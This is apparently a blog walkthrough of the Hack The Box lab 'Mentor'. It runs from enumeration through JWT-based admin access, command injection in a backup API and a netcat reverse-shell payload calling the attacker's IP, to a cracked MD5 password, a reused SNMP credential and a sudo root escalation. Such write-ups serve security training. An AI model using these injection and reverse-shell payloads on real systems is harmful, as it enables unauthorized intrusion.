Home (HTB) - Mentor
Post
Cancel
image alternative text

(HTB) - Mentor

Enumeration

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Nmap scan report for mentorquotes.htb (10.129.213.168)
Host is up (0.083s latency).
Not shown: 4992 closed tcp ports (conn-refused)
PORT      STATE    SERVICE    VERSION
22/tcp    open     ssh        OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c73bfc3cf9ceee8b4818d5d1af8ec2bb (ECDSA)
|_  256 4440084c0ecbd4f18e7eeda85c68a4f7 (ED25519)
80/tcp    open     http       Apache httpd 2.4.52
|_http-title: MentorQuotes
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.0.3 Python/3.6.9
1702/tcp  filtered deskshare
3414/tcp  filtered wip-port
4800/tcp  filtered iims
9979/tcp  filtered visweather
15151/tcp filtered bo2k
36368/tcp filtered unknown

Website

We have to add mentorquotes.htb into /etc/hosts as we’ll get redirected there right away if we open IP in browser.

picture 1

Directory and Subdomain search using FFUF

I’ve found api subdomain using FFUF and using --ms all which include all statuses. Without it, the subdomain is easy to miss.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(luka㉿yokai)-[~/htb/boxes/mentor]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://mentorquotes.htb -H "Host: FUZZ.mentorquotes.htb" --mc all --fw 18

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://mentorquotes.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.mentorquotes.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response words: 18
________________________________________________

api                     [Status: 404, Size: 22, Words: 2, Lines: 1, Duration: 160ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Let’s add api.mentorquotes.htb to the /etc/hosts file!

There we go…

1
2
3
4
5
┌──(luka㉿yokai)-[~/htb/boxes/mentor]
└─$ curl http://api.mentorquotes.htb -s | jq .
{
  "detail": "Not Found"
}

Directory search on api.mentorquotes.htb

Let’s start FFUF on api.mentorquotes.htb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(luka㉿yokai)-[~/htb/boxes/mentor]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -u http://api.mentorquotes.htb/FUZZ --mc all --fw 2

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://api.mentorquotes.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response words: 2
________________________________________________

admin                   [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 80ms]
docs                    [Status: 200, Size: 969, Words: 194, Lines: 31, Duration: 104ms]
users                   [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 136ms]
quotes                  [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 39ms]
server-status           [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 59ms]

@ We’ve got few new directories where we can continue our enumeration. docs definately looks promising ;):

picture 2

We even find an Email Address which we should note james@mentorquotes.htb

Digging deeper on api.mentorquotes.htb

We can signup a user and login. Authorization key will return. We cannot display any user

´´´ ┌──(luka㉿yokai)-[~/htb/boxes/mentor] └─$ curl -X ‘GET’ ‘http://api.mentorquotes.htb/users/’ -H ‘accept: application/json’ -H ‘Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3R0ZXN0IiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.qUR8VFEsFPQaYLsCmcdb0dMwuxbULuCOsdOG1ncoWJ4’ -s | jq . { “detail”: “Only admin users can access this resource” } ´´´

We can display quotes using same Authorization header and quotes endpoint. They are the same as on the mentorquotes.htb BUT we cannot add new quotes as we get same error as above.

If we use james as a user and different email, there is some broken login, which gives us admin privileges

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(luka㉿yokai)-[~/htb]
└─$ curl http://api.mentorquotes.htb/users/ -H 'accept: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJ0ZXN0QG1lbnRvcnF1b3Rlcy5odGIifQ.yhdN6mhlvDCzb7QDbE_s31QqqnGPoWug_txMrXUi5sM' -s | jq .
[
  {
    "id": 1,
    "email": "james@mentorquotes.htb",
    "username": "james"
  },
  {
    "id": 2,
    "email": "svc@mentorquotes.htb",
    "username": "service_acc"
  },
  {
    "id": 4,
    "email": "james@mentorquotes.htb",
    "username": "testtest"
  },

We can access /admin now

1
2
3
4
5
6
7
8
┌──(luka㉿yokai)-[~/htb]
└─$ curl 'http://api.mentorquotes.htb/admin/' -H 'Content-Type: application/json' -H 'accept: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJ0ZXN0QG1lbnRvcnF1b3Rlcy5odGIifQ.yhdN6mhlvDCzb7QDbE_s31QqqnGPoWug_txMrXUi5sM' -s | jq .
{
  "admin_funcs": {
    "check db connection": "/check",
    "backup the application": "/backup"
  }
}

Apparently there’s a Command Injection Vulnerability in the /backup endpoint.

1
2
┌──(luka㉿yokai)-[~/htb]
└─$ curl 'http://api.mentorquotes.htb/admin/backup' -H 'Content-Type: application/json' -H 'accept: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJ0ZXN0QG1lbnRvcnF1b3Rlcy5odGIifQ.yhdN6mhlvDCzb7QDbE_s31QqqnGPoWug_txMrXUi5sM' -s -X POST -d '{"path":"; ping -c 2 10.10.16.35 #"}' | jq .

picture 4

Netcat is installed so getting shell is very easy

1
2
3
4
5
6
7
8
9
10
POST /admin/backup HTTP/1.1
Host: api.mentorquotes.htb
User-Agent: curl/7.85.0
Content-Type: application/json
accept: application/json
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJ0ZXN0QG1lbnRvcnF1b3Rlcy5odGIifQ.yhdN6mhlvDCzb7QDbE_s31QqqnGPoWug_txMrXUi5sM
Content-Length: 41
Connection: close

{"path":";nc 10.10.16.35 8000 -e /bin/sh;#"}
1
paste5

Get better shell

1
paste6

Shell as svc

Postgre Enumeration

Connect using psql using proxychains. use found credentials postgres:postgres

picture 5

Cracking the hash using hashcat

We get password. mode 0

1
2
3
4
5
6
7
8
9
... 
53f22d0dfa10dce7e29cd31f4f953fd8:123meunomeeivani         
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 53f22d0dfa10dce7e29cd31f4f953fd8
Time.Started.....: Mon Dec 12 14:39:04 2022 (0 secs)
Time.Estimated...: Mon Dec 12 14:39:04 2022 (0 secs)

we can use svc:123meunomeeivani to SSH AND escape the docker container!

Shell as james

Finding james’s password in SNMP.conf

If we look close enough, we’ll find

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
svc@mentor:/$ cat /etc/snmp/snmpd.conf 
...
#    arguments: username [noauth|auth|priv [OID | -V VIEW [CONTEXT]]]
rouser authPrivUser authpriv -V systemonly

# include a all *.conf files in a directory
includeDir /etc/snmp/snmpd.conf.d


createUser bootstrap MD5 SuperSecurePassword123__ DES
rouser bootstrap priv

com2sec AllUser default internal
group AllGroup v2c AllUser
...

If we use same password for james

Privilege Escalation from james to root

/bin/sh can be run as sudo

1
2
3
4
5
6
7
8
9
10
james@mentor:/$ sudo -l
[sudo] password for james: 
Sorry, try again.
[sudo] password for james: 
Matching Defaults entries for james on mentor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on mentor:
    (ALL) /bin/sh

This post is licensed under CC BY 4.0 by the author.